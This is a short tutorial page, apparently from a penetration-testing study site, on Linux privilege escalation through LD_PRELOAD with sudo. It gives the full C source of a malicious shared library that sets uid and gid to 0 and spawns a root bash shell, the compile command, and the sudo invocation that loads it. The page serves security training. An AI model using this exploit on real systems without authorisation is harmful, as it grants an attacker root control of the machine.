> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/linux-privilege-escalation/sudo/ld_preload.md).

# LD\_PRELOAD

Pre-loading is a feature of LD (Dynamic Linker) which is available on most UNIX systems. This can be exploited by loading a custom library of our choice (as root) before loading a different library

```
sudo -l
```

<figure><img src="/files/IiOL3TtJBlRHGe0LYexg" alt=""><figcaption></figcaption></figure>

Create a  the malicious library in C

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

Code Breakdown:

* Including **standardio, sys/types** and **standard libraries**
* Unset the **LD\_PRELOAD** environment variable&#x20;
* Set the **gid** and **uid** to **0** (which is root)
* Then we want to execute **/bin/bash** as **root** (0)

Compile

```
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

Use LD\_PRELOAD and another command that we can run as root

```
sudo LD_PRELOAD=/tmp/shell.so iftop
```